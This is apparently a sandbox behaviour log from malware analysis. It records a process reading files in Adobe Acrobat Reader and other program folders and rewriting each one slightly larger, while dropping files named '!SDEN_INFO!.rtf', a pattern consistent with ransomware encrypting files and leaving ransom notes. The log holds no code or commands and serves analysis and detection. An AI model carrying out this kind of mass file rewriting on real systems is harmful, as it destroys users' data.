File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SaveAsRTF.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SaveAsRTF.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SaveAsRTF.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SaveAsRTF.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SaveAsRTF.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvSOFT.x3d, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\create_form.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\create_form.gif, size = 1194, size_out = 1194	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\create_form.gif, size = 2610	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\info.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\info.gif, size = 578, size_out = 578	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\info.gif, size = 1994	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif, size = 962, size_out = 962	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif, size = 2378	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif, size = 1161, size_out = 1161	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif, size = 2577	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\init.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\init.js, size = 7631, size_out = 7631	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\init.js, size = 9047	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right-pressed.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png, size = 2122, size_out = 2122	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png, size = 3538	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_wob.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_wob.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_wob.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_wob.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress-indeterminate.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress-indeterminate.gif, size = 1129, size_out = 1129	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress-indeterminate.gif, size = 2545	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud.png, size = 2122, size_out = 2122	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ccloud.png, size = 3538	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil.png, size = 2020, size_out = 2020	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\large_trefoil.png, size = 3436	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions.png, size = 1558, size_out = 1558	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\selection-actions.png, size = 2974	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-up.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-up.png, size = 296, size_out = 296	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-up.png, size = 1712	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up-pressed.gif, size = 57, size_out = 57	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up-pressed.gif, size = 1473	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\ui-strings.js, size = 3802, size_out = 3802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ca-es\ui-strings.js, size = 5218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\ui-strings.js, size = 3853, size_out = 3853	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\ui-strings.js, size = 5269	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\ui-strings.js, size = 3653, size_out = 3653	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\ui-strings.js, size = 5069	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\ui-strings.js, size = 3510, size_out = 3510	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\ui-strings.js, size = 4926	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\require.min.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\require.min.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\require.min.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\require.min.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\ui-strings.js, size = 1806, size_out = 1806	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\ui-strings.js, size = 3222	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\ui-strings.js, size = 1842, size_out = 1842	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\ui-strings.js, size = 3258	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ui-strings.js, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning.png, size = 614, size_out = 614	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\warning.png, size = 2030	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-selector.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
